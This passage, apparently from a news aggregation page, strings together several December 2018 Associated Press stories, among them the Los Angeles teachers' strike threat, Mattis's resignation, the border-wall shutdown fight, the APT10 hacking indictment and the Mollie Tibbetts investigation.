bring in. Beutner has said his plan to reorganize the district would improve services to students and families. Thousands of teachers took to the streets of downtown Los Angeles last weekend to demand a new contract. They wore red shirts, banged drums and carried signs that read "Stand With LA Teachers!" as they marched. The teachers are tapping into a shift in public sentiment that supports better wages for educators that came with a "Red4Ed" movement that began earlier this year in West Virginia, where a strike resulted in a raise. The movement spread to Oklahoma, Kentucky, Colorado, Arizona and Washington state. ___ Follow Amanda Lee Myers on Twitter at https://twitter.com/AmandaLeeAP In this Saturday, Dec. 15, 2018, photo, United Teachers Los Angeles, UTLA president, Alex Caputo-Pearl, left, joins teachers at a rally next to the Broad Museum downtown Los Angeles. Teachers in the nation's second-largest school district will go on strike next month if there's no settlement of its long-running contract dispute, union leaders said Wednesday, Dec. 19. The announcement by UTLA threatens the first strike against the Los Angeles Unified School District in nearly 30 years and follows about 20 months of negotiations. (AP Photo/Damian Dovarganes) Thousands of teachers who may go on strike against the nation's second-largest school district next month marched and rallied in downtown Los Angeles Saturday, Dec. 15, 2018. The teacher's union is locked in a contract dispute with the Los Angeles Unified School District and the teachers are threatening to strike for the first time in nearly 30 years next month. (AP Photo/Damian Dovarganes) United Teachers Los Angeles president, Alex Caputo-Pearl, left, joins teachers, who may go on strike against the nation's second-largest school district next month, as they rally next to the Broad Museum downtown Los Angeles Saturday, Dec. 15, 2018. The union contends that the district is hoarding a huge financial reserve that could be used to pay teachers more and improve conditions for students. Union leaders also criticized a plan to reorganize the district by dividing it into 32 networks. Saturday's march ended at the Broad Museum to highlight the role billionaires like Eli Broad have by funding the corporate charter industry and privatization efforts. (AP Photo/Damian Dovarganes) In this Saturday, Dec. 15, 2018, photo, thousands of teachers marched and rallied outside Los Angeles City Hall. Teachers in the nation's second-largest school district will go on strike next month if there's no settlement of its long-running contract dispute, union leaders said Wednesday, Dec. 19. The announcement by United Teachers Los Angeles threatens the first strike against the Los Angeles Unified School District in nearly 30 years and follows about 20 months of negotiations. (AP Photo/Damian Dovarganes) In this Saturday, Dec. 15, 2018, photo, United Teachers Los Angeles, UTLA president, Alex Caputo-Pearl joins teachers at a rally next to the Broad Museum downtown Los Angeles.Teachers in the nation's second-largest school district will go on strike next month if there's no settlement of its long-running contract dispute, union leaders said Wednesday, Dec. 19. The announcement by UTLA threatens the first strike against the Los Angeles Unified School District in nearly 30 years and follows about 20 months of negotiations. (AP Photo/Damian Dovarganes) Thousands of teachers who may go on strike against the nation's second-largest school district next month rally in downtown Los Angeles Saturday, Dec. 15, 2018. The teacher's union is locked in a contract dispute with the Los Angeles Unified School District and the teachers are threatening to strike for the first time in nearly 30 years next month. (AP Photo/Damian Dovarganes) In this Saturday, Dec. 15, 2018, photo, thousands of teachers marched and rallied in downtown Los Angeles. Teachers in the nation's second-largest school district will go on strike next month if there's no settlement of its long-running contract dispute, union leaders said Wednesday, Dec. 19. The announcement by United Teachers Los Angeles threatens the first strike against the Los Angeles Unified School District in nearly 30 years and follows about 20 months of negotiations. (AP Photo/Damian Dovarganes) In this Saturday, Dec. 15, 2018, photo, thousands of teachers marched and rallied in downtown Los Angeles. Teachers in the nation's second-largest school district will go on strike next month if there's no settlement of its long-running contract dispute, union leaders said Wednesday, Dec. 19. The announcement by United Teachers Los Angeles threatens the first strike against the Los Angeles Unified School District in nearly 30 years and follows about 20 months of negotiations. (AP Photo/Damian Dovarganes) SYDNEY (AP) - Australian Prime Minister Scott Morrison made a pre-Christmas visit to hundreds of troops in Iraq, telling them he wanted to say thank you from "one Australian to another." But Morrison canceled a planned visit to Afghanistan on the advice of the defense force chief due to operational security reasons. Morrison traveled to Iraq on Wednesday to meet special forces soldiers and other Australian military personnel who are training the Iraqi Army to combat the Islamic State group. It was the conservative prime minister's first visit to the Middle East since he took the top job in August. "I understand it's a sacrifice. I understand it's a big thing to be away from your family at this time of year," Morrison told troops at the Taji military complex north of Baghdad. "And that's why I've decided to come just to say 'thank you' from one Australian to another." Morrison broke bread with hundreds of soldiers across Iraq from before dawn until after dark. He stressed that he would honor their contributions long after their active service ended. Australian Prime Minister Scott Morrison, second from left, is seen during a visit to Task Group Taji at Taji Military Complex in Iraq, Wednesday, Dec. 19, 2018. Prime Minister Morrison has made a pre-Christmas visit to hundreds of troops in Iraq, telling them he wanted to say thank you from "one Australian to another." (David Mariuz/AAP Image via AP) He said that for many troops, it would be the first Christmas away from their families and friends, while others had endured the tyranny of distance before. "On behalf of my family, to you and your families, I want to say thank you very much for your service," Morrison said. "But I also want to thank you as a prime minister, as the leader of the government, as a member of the Australian Parliament, on behalf of our entire nation." There are currently about 800 Australian soldiers deployed in Iraq, including about 300 who are involved in Task Force Taji. The rotating group has trained almost 40,000 Iraqi soldiers since its mission began in 2015. Its focus has gradually shifted from delivering front-line training to mentoring Iraqi security forces. Capt. Steve Moye, who is beginning his first deployment, said he has noticed an immediate impact. "Even just in the four weeks we've been here, the improvement in the individual skills of the Iraqi soldiers has been exponential," he said. With a wife and two kids back home in Brisbane, Moye reshuffled birthday parties and opened Christmas presents early before he was deployed overseas. He said he wasn't sure how he would cope on Christmas Day. Handshakes and small talk gave way to brass bands and a bilateral meeting when Morrison sat down with Iraqi Prime Minister Adel Abdul-Mahdi at his palace in Baghdad. Abdul-Mahdi stressed the need for ongoing security cooperation to liberate Iraq from the Islamic State group and on improving economic relations to drive investment and jobs. "The stability of Iraq is the stability of the region, and the stability of the region would be stability for the whole world," he said. NEWARK, N.J. (AP) - Rapper Juelz Santana has been sentenced to more than two years in prison for trying to get a loaded gun onto a plane at a New York-area airport. Santana, whose real name is LaRon James, was sentenced Wednesday in Newark, New Jersey, to 27 months in prison after pleading guilty to possession of a firearm by a convicted felon and carrying a weapon on an aircraft. He was arrested in March after security at New Jersey's Newark Liberty International Airport found a loaded .38-caliber handgun and nonprescription oxycodone pills in his carry-on. Santana left the area and the bags behind, but he turned himself in three days later. The 36-year-old will not immediately go to prison after having reached an agreement to perform on Long Island. FILE - In this Oct. 2, 2008, file photo, Juelz Santana arrives at the VH1 Hip Hop Honors in New York. Santana, whose real name is LaRon James, was sentenced Wednesday, Dec. 19, 2018, in Newark, New Jersey, to 27 months in prison after pleading guilty to possession of a firearm by a convicted felon and carrying a weapon on an aircraft. (AP Photo/Jason DeCrow, File) OAKLAND, Calif. (AP) - The Latest on a Yemeni mother who fought to see her dying son in the U.S. (all times local): 9 a.m. A Yemeni mother who was at the center of a yearlong legal battle for the right to give her dying son has been reunited with her child at a California hospital. A photograph released by Council on American-Islamic Relations shows Shaima Swileh holding her 2-year-old son Abdullah at the hospital in Oakland. The boy is on life-support. Swileh arrived at San Francisco International Airport Wednesday night after a yearlong fight to travel to the United States to be by her son's side. The U.S. granted her a visa after lawyers for the Council on American-Islamic Relations sued. Shaima Swileh, center with her back turned, is greeted by supporters after arriving at San Francisco International Airport in San Francisco, Wednesday, Dec. 19, 2018. Swileh is the Yemeni mother who won her fight for a waiver from the Trump administration's travel ban that would allow her to go to California to see her dying 2-year-old son. (AP Photo/Jeff Chiu) The boy's father is a U.S. citizen who brought his son to California to get treatment for a genetic brain disorder. Citizens from Yemen and four other mostly Muslim countries, along with North Korea and Venezuela, are restricted from coming to the United States under the travel ban. ___ 8:30 p.m. A Yemeni mother who was at the center of a yearlong legal battle for the right to give her dying son one last kiss has arrived in the United States. Shaima Swileh was greeted by a crowd of well-wishers as she arrived at San Francisco International Airport Wednesday night. She was on her way to see her 2-year-old son Abdullah, who is on life-support at an Oakland hospital. The U.S. granted her a visa after lawyers for the Council on American-Islamic Relations sued. The boy's father is an American citizen who brought his son to California to get treatment for a genetic brain disorder. Citizens from Yemen and four other mostly Muslim countries, along with North Korea and Venezuela, are restricted from coming to the United States under the travel ban. The U.S. Supreme Court upheld the ban in a 5-4 ruling in June. In this Wednesday, Dec. 19, 2018, photo released by the Council on American-Islamic Relations, Sacramento Valley, Shaima Swileh holds her dying 2-year-old son Abdullah at a hospital in Oakland, Calif. Swileh, a Yemeni mother who fought for the right to see her dying son, arrived Wednesday night after the Trump administration gave her a long-sought waiver to its travel ban. (Council on American-Islamic Relations, Sacramento Valley via AP) This recent but undated photo, released Monday, Dec. 17, 2018 by the Council on American-Islamic Relations in Sacramento, Calif., shows Ali Hassan with his dying 2-year-old son Abdullah in a Sacramento hospital. The boy's Yemeni mother, blocked by the Trump administration's travel ban, has won her fight for a waiver that would allow her to travel to California to see her son. Basim Elkarra of the Council on American-Islamic Relations in Sacramento said Shaima Swileh was granted a visa Tuesday, Dec. 18, 2018, and will be flying to San Francisco on Wednesday, Dec. 19, 2018. (Council on American-Islamic Relations via AP) This recent but undated photo, released Monday, Dec. 17, 2018, by the Council on American-Islamic Relations in Sacramento, Calif., shows Ali Hassan kissing his dying 2-year-old son Abdullah in a Sacramento hospital. The boy's Yemeni mother, blocked by the Trump administration's travel ban, has won her fight for a waiver that would allow her to travel to California to see her son. Basim Elkarra of the Council on American-Islamic Relations in Sacramento, Calif., said Shaima Swileh was granted a visa Tuesday, Dec. 18, 2018, and will be flying to San Francisco on Wednesday, Dec. 19, 2018. (Council on American-Islamic Relations via AP) Supporters of Shaima Swileh hold up signs as they await her arrival at San Francisco International Airport in San Francisco, Wednesday, Dec. 19, 2018. Swileh is the Yemeni mother who won her fight for a waiver from the Trump administration's travel ban that would allow her to go to California to see her dying 2-year-old son. (AP Photo/Jeff Chiu) Mattis resigning as Pentagon chief after clashes with Trump WASHINGTON (AP) - Defense Secretary Jim Mattis resigned Thursday after clashing with President Donald Trump over the abrupt withdrawal of U.S. troops from Syria and after two years of deep disagreements over America's role in the world. Mattis, perhaps the most respected foreign policy official in Trump's administration, will leave by the end of February after two tumultuous years struggling to soften and moderate the president's hardline and sometimes sharply changing policies. He told Trump in a letter that he was leaving because "you have a right to have a Secretary of Defense whose views are better aligned with yours." His departure was immediately lamented by foreign policy hands and lawmakers on both sides of the aisle, who viewed the retired Marine general as a sober voice of experience in the ear of a president who had never held political office or served in the military. Even Trump allies expressed fear over Mattis' decision to quit, believing him to be an important moderating force on the president. "Just read Gen. Mattis resignation letter ," tweeted Florida Sen. Marco Rubio. "It makes it abundantly clear that we are headed toward a series of grave policy errors which will endanger our nation, damage our alliances & empower our adversaries." Mattis did not mention the dispute over Syria in his letter or proposed deep cuts to U.S. forces in Afghanistan, another significant policy dispute. He noted his "core belief" that American strength is "inextricably linked" with the nation's alliances with other countries, a position seemingly at odds with the "America First" policy of the president. ___ Trump's demand for wall moves government closer to shutdown WASHINGTON (AP) - President Donald Trump's demand for border wall funds hurled the federal government closer to a shutdown as House Republicans approved a package Thursday with his $5.7 billion request that is almost certain to be rejected by the Senate. The White House said Trump will not travel to Florida on Friday for the Christmas holiday if the government is shutting down. More than 800,000 federal workers will be facing furloughs or forced to work without pay if a resolution is not reached before funding expires at midnight Friday. The shutdown crisis could be one of the final acts of the House GOP majority before relinquishing control to Democrats in January. Congress had been on track to fund the government but lurched Thursday when Trump, after a rare lashing from conservative supporters, declared he would not sign a bill without the funding. Conservatives want to keep fighting. They warn that "caving" on Trump's repeated wall promises could hurt his 2020 re-election chances, and other Republicans' as well. The House voted largely along party lines, 217-185, after GOP leaders framed the vote as a slap-back to Nancy Pelosi, who is poised to become House speaker on Jan. 3 and who had warned Trump in a televised Oval Office meeting last week that he wouldn't have the votes for the wall. "Now we find compromise," House Majority Leader Kevin McCarthy, R-Calif., said. "We have time right now to get it done." ___ Veteran draws millions in donations for Trump's border wall An online fundraiser started by an Air Force veteran to pay for construction of President Donald Trump's U.S.-Mexico border wall was up to millions of dollars Thursday, bringing further attention to an issue that could lead to a government shutdown. Brian Kolfage launched the GoFundMe page Sunday, and it has since generated $6 million in donations. The site states a fundraising goal of $1 billion. In a statement posted on the crowdsourcing page, Kolfage says the wall could be built if everyone who voted for Trump pledged $80 each. "As a veteran who has given so much, three limbs, I feel deeply invested to this nation to ensure future generations have everything we have today," Kolfage wrote. A triple amputee injured in the Iraq War in 2004, Kolfage said he has contacted the Trump administration about where to send the money once the fundraiser ends. ___ Dow sinks another 464 points as slowdown fears worsen NEW YORK (AP) - Stocks went into another slide Thursday in what is shaping up as the worst December on Wall Street since the depths of the Great Depression, with prices dragged down by rising fears of a recession somewhere on the horizon. The Dow Jones Industrial Average dropped 464 points, bringing its losses to more than 1,700 since last Friday. The broader S&P 500 index continued its slump, too, and is down 10.6 percent this month alone, with six days of trading to go. "This is the classic shoot-first-and-ask-questions-later market," said Scott Wren, senior global equity strategist at Wells Fargo Investment Institute. Stocks usually end the year with a flourish, and December is usually the best month of the year for the market. But this month has been dismal. Without a decent rally, this could be the worst December since 1931. The S&P 500 is almost 16 percent below the peak it reached in late September. It is on track for its biggest one-month loss since February 2009 and its first losing year in a decade. (The index took tiny losses in 2011 and 2015 but ended those years higher once dividends were included.) ___ Whitaker rejected advice to recuse himself from Russia probe WASHINGTON (AP) - Acting Attorney General Matthew Whitaker chose not to recuse himself from the Russia investigation even though a top Justice Department ethics official advised him to step aside out of an "abundance of caution," a senior official said Thursday. Whitaker's past criticism of the Russia investigation has raised questions about whether he can oversee it fairly. The ethics official said this week that a recusal was "a close call" but suggested that Whitaker remove himself, even though he was not required to do so. Whitaker decided not to take the advice. Earlier Thursday, a person familiar with the matter who was not authorized to discuss it publicly told The Associated Press that Whitaker did not have to recuse himself from overseeing the probe. But that wasn't the full picture. Later, a senior Justice Department official provided a much more detailed account of the ethics consultation. It showed that although Whitaker was not required to step aside from the investigation, the issue wasn't so clear cut. That official spoke with reporters on condition of anonymity to discuss sensitive conversations. ___ Kushners buying 4th New Jersey property in tax-break zone NEW YORK (AP) - Jared Kushner's family company is buying another property in a New Jersey beach town where developers can get big tax breaks thanks to a new federal program pushed by Kushner and his wife, Ivanka Trump. The Kushner Cos. is negotiating to buy land already approved for retail space and apartments in one of thousands of new Opportunity Zones offering tax breaks around the country, Long Branch Business Administrator George Jackson said Thursday. It would be the fourth Kushner purchase in an Opportunity Zone in the town since the program was included in the Republican-led tax overhaul law passed in December last year. The program has been praised as a smart way to attract money into high-poverty areas long neglected by private investors. But critics say it includes too many gentrifying neighborhoods already attracting investment and is a giveaway to wealthy developers. The Kushner Cos. did not respond to repeated requests for comment. An earlier report in the Asbury Park Press on the deal quotes a Kushner spokeswoman saying the purchase is "under contract." News of the possible purchase follows an Associated Press investigation that showed Jared Kushner owns stakes in 13 Opportunity Zones properties, all in locations deemed by the Urban Institute in Washington to be showing indications of rapid change or full-out gentrification, including ones in Long Branch. Six of properties are in New York City's Brooklyn Heights neighborhood overlooking the Manhattan skyline and where apartments sell for millions each. ___ US charges 2 hackers with alleged Chinese intelligence ties WASHINGTON (AP) - U.S. officials on Thursday said two alleged Chinese hackers carried out an extensive campaign on behalf of Beijing's main intelligence agency to steal trade secrets and other information from government agencies and "a who's who" of major corporations in the United States and nearly a dozen other nations. The indictment is the latest in a series of Justice Department criminal cases targeting Chinese cyberespionage and coincided with an announcement by Britain blaming China's Ministry of State Security for trade-secret pilfering affecting Western nations. The alleged hackers, one of whom is nicknamed "Godkiller," are accused of breaching computer networks beginning as early as 2006 in a range of industries, including aviation and space, finance, biotechnology oil and gas, satellites and pharmaceuticals. Prosecutors say they also obtained the names, Social Security numbers and other personal information of more than 100,000 Navy personnel. In a new twist reflecting corporate computing's evolution, the hackers often infiltrated cloud computing companies and other major technology providers to indirectly reach clients' valuable documents. Prosecutors said the alleged hackers stole "hundreds of gigabytes" of data, breaching computers of more than 45 entities in 12 states including NASA's Jet Propulsion Lab and Goddard Space Center. The hackers, identified as members of the group APT10, or "Stone Panda," are not in custody. Prosecutors said their names are Zhu Hua and Zhang Shillong. ___ What can you do to protect your data on Facebook? ATLANTA (AP) - Facebook has shared users' private messages, contact information and other personal data with companies such as Microsoft and Spotify, according to a New York Times report that was alarming even in light of previous disclosures about the social network's practices. Is there anything users can do to protect their data without walking away from Facebook altogether? Experts say there is not much you can do about information that is already in Facebook's hands. But you can at least find out what the company has on you, and you can take steps to limit how much more it can gather from here on in. REVIEW PRIVACY SETTINGS Facebook claims it had permission to give companies the data outlined in the Times story, though the company tends to define "permission" loosely . ___ Female Mormon missionaries given option to wear dress slacks SALT LAKE CITY (AP) - Female missionaries with The Church of Jesus Christ of Latter-day Saints worldwide now have the option to wear dress slacks, the church announced Thursday. Members of the Missionary Executive Council said the change takes effect immediately and is primarily motivated by safety concerns. Women in roughly half of the church's 407 missions have previously been wearing dress slacks during the wet seasons to help protect them from mosquito-borne viral diseases. "There are a lot of vector-borne diseases because of mosquitoes and ticks and fleas," said Sister Bonnie H. Cordon, Young Women general president and Missionary Executive Council member. "This helps the sisters to prevent any of those bites or at least minimizes them." She said the change will help women who serve in cold climates to stay warm and wearing dress slacks also will make it easier for them to ride bicycles. They can wear slacks year-round if they choose, the church said. "This is truly optional," Cordon said. "The sisters can wear dresses, they can wear slacks; whatever will help them in their service as they're out amongst the people." ___ In a record year, the movie theater strikes back NEW YORK (AP) - The movie theater was dead, they said. After ticket sales slumped in 2017 , due largely to the worst summer season in more than a decade, pundits far and wide predicted the hastening demise of moviegoing, an inevitable casualty to the rise of streaming. This year, the movies flipped the script. This weekend, as "Aquaman," ''Bumblebee" and "Mary Poppins Returns" arrive in theaters, ticket sales will reach a new record for the year, passing the previous 2016 high of $11.4 billion. Driven in part by zeitgeist-grabbing cultural events like "Black Panther," ''Crazy Rich Asians" and even documentaries like "Won't You Be My Neighbor?" the box office is expected to end up around $11.8 billion for the year. The overall domestic gross is up nearly 9 percent from last year; ticket sales are up about 6 percent. And it's not just in North America. Propelled by Chinese moviegoers, global ticket sales should, for the second time ever, exceed $40 billion. Saudi Arabia declared itself open for business to Hollywood, after more than 35 years without theaters. In the United Kingdom, cinemas are headed to their best year since 1971. "This year serves to confirm that the movie theater business is strong and growing in the long term, even though it can be cyclical in the short term," said John Fithian, president of the National Organization of Theater Owners, the trade organization known as NATO. "Last summer of 2017, when there just weren't very many movies coming out that had any traction, we confronted the inevitable story about the impending death of the movie theater business. And we said back then: It's all about short-term product supply." WASHINGTON (AP) - President Donald Trump's demand for border wall funds hurled the federal government closer to a shutdown as House Republicans approved a package Thursday with his $5.7 billion request that is almost certain to be rejected by the Senate. The White House said Trump will not travel to Florida on Friday for the Christmas holiday if the government is shutting down. More than 800,000 federal workers will be facing furloughs or forced to work without pay if a resolution is not reached before funding expires at midnight Friday. The shutdown crisis could be one of the final acts of the House GOP majority before relinquishing control to Democrats in January. Congress had been on track to fund the government but lurched Thursday when Trump, after a rare lashing from conservative supporters, declared he would not sign a bill without the funding. Conservatives want to keep fighting. They warn that "caving" on Trump's repeated wall promises could hurt his 2020 re-election chances, and other Republicans' as well. The House voted largely along party lines, 217-185, after GOP leaders framed the vote as a slap-back to Nancy Pelosi, who is poised to become House speaker on Jan. 3 and who had warned Trump in a televised Oval Office meeting last week that he wouldn't have the votes for the wall. Trump crowed about the vote on Twitter, saying: "Nancy does not have to apologize. All I want is GREAT BORDER SECURITY!" House Majority Leader Kevin McCarthy, R-Calif., said: "Now we find compromise. We have time right now to get it done." House Majority Leader Kevin McCarthy, R-Calif., leaves the chamber after the Republican-led House approved funding for President Donald Trump's border wall in legislation that pushes the government closer to a partial government shutdown, at the Capitol in Washington, Thursday, Dec. 20, 2018. The bill now goes to the Senate, where it has almost no chance of passing. (AP Photo/J. Scott Applewhite) The government funding package, which includes nearly $8 billion in disaster aid for coastal hurricanes and California wildfires, now goes to the Senate, where its prospects are grim amid strong opposition from Democrats. Sixty votes are needed to approve the bill there. Senate Majority Leader Mitch McConnell, R-Ky., warned senators they may need to return to Washington for a noontime vote Friday. Many senators already left town for the holidays. The Senate approved a bipartisan bill late Wednesday to keep the government temporarily funded, with border security money at current levels, $1.3 billion, and no money for the wall. The House had been expected to vote on it Thursday. The most likely possibility Friday is that the Senate strips the border wall out of the bill but keeps the disaster funds and sends it back to the House. House lawmakers said they were being told to stay in town for more possible votes. With Pelosi's backing, the Senate-passed bill likely has enough support for House approval with votes mostly from Democratic lawmakers, who are still the minority, and some Republicans. Others were not so sure. "I don't see how we avoid a shutdown," said retiring Rep. Dennis Ross, R-Fla. Rep. Mark Meadows, R-N.C., the chairman of the conservative Freedom Caucus, said he was not convinced after a White House meeting with GOP leaders that Trump would sign the Senate bill. "I looked him in the eyes today, and he was serious about not folding without a fight," Meadows said. Trump's sudden rejection of the Senate-approved legislation, after days of mixed messages, sent Republican leaders scrambling for options on Capitol Hill days before Christmas. House Speaker Paul Ryan, exiting the hastily called meeting with Trump at the White House, said, "We're going to go back and work on adding border security to this, also keeping the government open, because we do want to see an agreement." By afternoon, Trump shifted his terminology, saying he's not necessarily demanding a border wall but "steel slats" - which is similar to the border security fencing already provided for in the bill. "We don't use the word 'wall' necessarily, but it has to be something special to do the job," Trump said at a farm bill signing at the White House. The nuance could provide Trump a way to try to proclaim victory. The bill would keep funding at current levels for border security, including pedestrian fencing and replacement fences, but not the wall. It requires previously used designs. Democratic leaders have made clear they will not budge on their opposition to the border wall that Trump campaigned on saying Mexico would pay for it. Mexico has refused "The Trump temper tantrum will shut down the government, but it will not get him his wall," said Senate Minority Leader Chuck Schumer. Democrats favor border security, Schumer said, but he denounced the wall as "ineffective, unnecessary and exorbitantly expensive." McConnell met with Ryan after the House leaders returned from the meeting with Trump. Ryan and McCarthy had endured complaints during a private morning meeting earlier Thursday from rank-and-file Republicans in the Capitol that they were closing out their majority without a fight on a major issue. Trump interrupted the basement session with a phone call to Ryan, and then the president lashed out at Republican leaders on Twitter. Ryan had promised a "big fight" after November's midterm elections, but as Republicans lost House control, negotiations over the year-end spending bill have largely been between Trump and Democrats. "I was promised the Wall and Border Security by leadership," Trump tweeted. "Would be done by end of year (NOW). It didn't happen! We foolishly fight for Border Security for other countries - but not for our beloved U.S.A. Not good!" Trump has bounced back and forth with mixed messages. Just last week he said he would be "proud" to shut down the government over the wall. Earlier this week he appeared to shelve shutdown threats, with the White House saying he was open to reviewing whatever bill Congress could send him. Before turning on fellow Republicans, Trump had been directing his ire at Democrats, tweeting that they were "putting politics over country." "Republicans are in a state of disarray," said Pelosi. "Wall funding is a nonstarter." At issue in the current fight is money for nine of 15 Cabinet-level departments and dozens of agencies, including the departments of Homeland Security, Transportation, Interior, Agriculture, State and Justice, as well as national parks and forests. Many agencies, including the Pentagon and the departments of Veterans Affairs and Health and Human Services, are covered for the year and would continue to operate as usual if funding lapses. The U.S. Postal Service, busy delivering packages for the holiday season, would not be affected by any government shutdown because it's an independent agency. ___ Associated Press writers Alan Fram and Kevin Freking in Washington contributed to this report. President Donald Trump speaks during a signing ceremony for H.R. 2, the "Agriculture Improvement Act of 2018," in the South Court Auditorium of the Eisenhower Executive Office Building, on the White House complex, Thursday, Dec. 20, 2018, in Washington. (AP Photo/Jacquelyn Martin) Speaker of the House Rep. Paul Ryan, R-Wis., left, and House Majority Leader Rep. Kevin McCarthy, R-Calif., walk off after speaking to reporters after meeting with President Donald Trump on border wall funding at the White House, Thursday, Dec. 20, 2018, in Washington. (AP Photo/Evan Vucci) Rep. Mark Meadows, R-N.C., chairman of the conservative House Freedom Caucus, heads into a House Republican strategy meeting as Congress tries to pass legislation that would avert a partial government shutdown, at the Capitol in Washington, Thursday, Dec. 20, 2018. (AP Photo/J. Scott Applewhite) After months of threatening to strike over contract negotiations, the president of the United Teachers Los Angeles announced today that teachers would strike on Jan. 10. Over 20 months we have exhausted all bargaining options, said UTLA President Alex Caputo-Pearl in a news conference. We have not had a genuine bargaining partner in the district; almost no legitimate proposals from the district. Union leaders have sought a 6.5 percent pay raise retroactive to July 1, 2016, along with class-size reductions, fewer required tests, and more school nurses, counselors, social workers, and librarians. In its final offer, the Los Angeles Unified school district has offered a 6 percent pay raise for all teachers, which includes a 3 percent retroactive raise for the past school year, along with class-size reductions in a handful of high-needs schools, and additional pay for teachers taking professional-development courses. Union leaders called the districts offer insulting. Were not going to go back to the table, Caputo-Pearl said. Weve reached the point where enough is enough. Unless the district makes a new offer that meets the unions demands, teachers will strike three days after students return from winter break. (Schools are currently closed.) Back in September, union members voted overwhelmingly to authorize a strike . This will be the first strike in the nations second-largest district since 1989. See also: Teacher Strikes: 4 Common Questions Last month, the state convened a three-member fact-finding panel, led by a neutral mediator. The panel released its non-binding recommendations this week , counting 21 categories of issues still in dispute. "[T]here seems to have been almost no progress made on any issue, wrote David Weinberg, the neutral chairman. This makes it particularly difficult for the neutral panel member ... to provide a final recommendation for settlement of the dispute. He noted the tension between the unions demands and the districts financial reality. The union has accused the district of hoarding its $1.8 billion reserve fund. Weinberg recommended that the union accept the districts offer of a 6 percent salary increase for teachers. He also recommended that the district and the union work together to calculate average class size, saying that while he agrees with the union that lower class sizes could improve teaching and student success, its hard to make a final recommendation since the districts numbers on class sizes differ than those of the union. In a statement before the strike date was announced , the district held out hope for a reasonable settlement of everything in dispute. Los Angeles Unified does not want a strikewhich only UTLA can authorizeas a strike would harm students, families, and communities most in need, the statement said. The district has said that schools would remain open during a strike, and the more than 600,000 students in the district would continue to receive classroom instruction by substitute employees and school administrators. If we strike, it will be a strike for our students, and it will be a strike with our parents, Caputo-Pearl said. In the half-dozen statewide walkouts and strikes this spring, parents were largely supportive of the fight for teacher pay raises and more school fundingindicative of a growing swell of support for teachers . But in Los Angeles, district parents feel torn and frustrated about the impending strike, LA School Report has reported. They are concerned about their childrens safety and the quality of instruction during a strike, although they say they love and support teachers. Image: United Teachers Los Angeles members rally outside the Broad Museum downtown Los Angeles on Dec. 15. Damian Dovarganes/AP IOWA CITY, Iowa (AP) - Before investigators arrested a farmhand in the death of University of Iowa student Mollie Tibbetts, they scrutinized a neighbor seen washing his car hours after she vanished, an acquaintance who erased his cellphone data, a Nebraska man who ditched his vehicle nearby and a farmer with a history of stalking women. Newly unsealed search warrants reviewed by The Associated Press reveal that four men were the subject of police interest at times during the five-week search for the 20-year-old, who went missing July 18 while out running. The documents provide new details about how Tibbetts' disappearance in the town of Brooklyn, Iowa, stumped agents as the mystery became the focus of national media coverage and one of the largest investigations in state history. The suspect ultimately charged in Tibbetts' death, Cristhian Bahena-Rivera, did not come on their radar until shortly before he allegedly led them to her body in a cornfield in August. Investigators say Rivera, 24, followed Tibbetts in a car and then on foot as she was out for an evening run, kidnapped her after a struggle and stabbed her to death. Rivera was identified as a suspect after officers found surveillance footage showing a Chevy Malibu that they later linked to him. Rivera, who is scheduled to stand trial, is a Mexican national who was allegedly in the U.S. illegally . Before then, investigators had focused attention on four others in the suspected kidnapping based on circumstances and seemingly suspicious behavior. They faced police interviews, searches of their vehicles and property and scrutiny of their cellphone data before agents determined they had nothing to do with Tibbetts' disappearance. "It was not a fun thing to go through, that's for sure," said Tim Tometich, 42, who lives along the running route where Tibbetts was last seen. "But we all wanted her found and home safe and obviously understand they had a job to do and needed to track down every lead they had." FILE - In this Aug. 21, 2018, file photo, a poster for missing University of Iowa student Mollie Tibbetts hangs in the window of a local business in Brooklyn, Iowa. (AP Photo/Charlie Neibergall, File) Tometich drew attention after agents obtained surveillance footage from a Brooklyn car wash showing him washing a dark-colored SUV at 10:30 p.m. on July 18, hours after Tibbetts vanished. But he told investigators that he wasn't at the car wash until three days later and that his credit card information would show that. A state agent seeking a warrant to obtain Tometich's phone data alleged that claim was "untruthful" based on video and business records. Tometich declined comment on that. All the men were later ruled out as suspects through further investigation, said Mitch Mortvedt, assistant director of the Division of Criminal Investigation. "In any investigation we come across people who raise an eyebrow to us. They have absolutely nothing to do with the issue we're investigating, but their behavior draws your attention for a short amount of time," he said. "There was a handful of those scattered throughout the five weeks." Rivera's attorney, Chad Frese, said he's aware of the individuals described in the warrants but that it's premature to comment on defense strategy. Mortvedt said the farmer was of interest longer than others, in part because he gave multiple attention-grabbing media interviews in which he denied involvement but acknowledged his criminal history. He allowed agents to question him and search his home and property outside of Brooklyn, about 200 yards (182 meters) from where investigators determined that Tibbetts' cellphone dropped off the network. The investigation was driven by technology from the beginning. Tibbetts' phone records indicated that her rate of movement on a rural road near Brooklyn sped rapidly, as if she went from running to traveling in a car. Investigators then obtained a warrant requiring Google to provide data showing which users could be tracked to that vicinity. One of four such Google customers was a 17-year-old who was Facebook friends with Tibbetts. The teen's brother was on the same construction crew as Tibbetts' boyfriend, who was out of town when she vanished, so investigators assumed he may have known Tibbetts was home alone. The teen told agents he was at home July 18, but later said he may have been mowing a cemetery. He raised suspicion when he told agents that he had recently "wiped" his smartphone of all stored data and didn't have it on him. The focus of intense interest early on was a 58-year-old Stanton, Nebraska man, who arrived at a car dealership 30 miles (48 kilometers) east of Brooklyn on July 20. The man told a salesman that he was driving to visit a foreign girlfriend while she was in Indiana but that his 1989 Chevy Grand Marquis was having transmission trouble, according to search warrant materials. He bought a used car for $3,500 and left the Chevy there, taking its license plates and a small bag with him. He said he would be back for the Chevy - which a witness said resembled a suspicious vehicle she saw near Tibbetts' home on July 18 - but didn't leave contact information. Agents searched the vehicle after seeing a reddish spot in the backseat. They found hairs, including dark ones that they thought could have belonged to Tibbetts, and sent them to the crime lab for examination. They obtained warrants for information from the man's two Facebook accounts, one of which liked the pages of dozens of scantily clad female athletes and models. But Mortvedt said nothing in the car tied him to Tibbetts, and the man was ruled out as a suspect. "Once we started to dive into a few of them, everybody as a team felt confident that we were safely eliminating them," he said. WASHINGTON (AP) - Military leaders were scrambling Thursday to devise a swift but safe departure of troops from Syria, as outraged lawmakers appealed to President Donald Trump to reverse an abrupt withdrawal order that rattled Washington's allies and was a key factor in the resignation of Defense Secretary Jim Mattis later in the day. Defense officials said U.S. airstrikes would continue until all the approximately 2,000 U.S. troops are out of Syria, but it was unclear whether the air campaign would then end. Officials said it might depend on whether France and other coalition partners keep ground troops in Syria after the Americans leave. A continued presence of allied troops working with local Syrians might compel the U.S. to contribute air cover. The Pentagon, roiled first by the surprise withdrawal order from Trump and then the abrupt 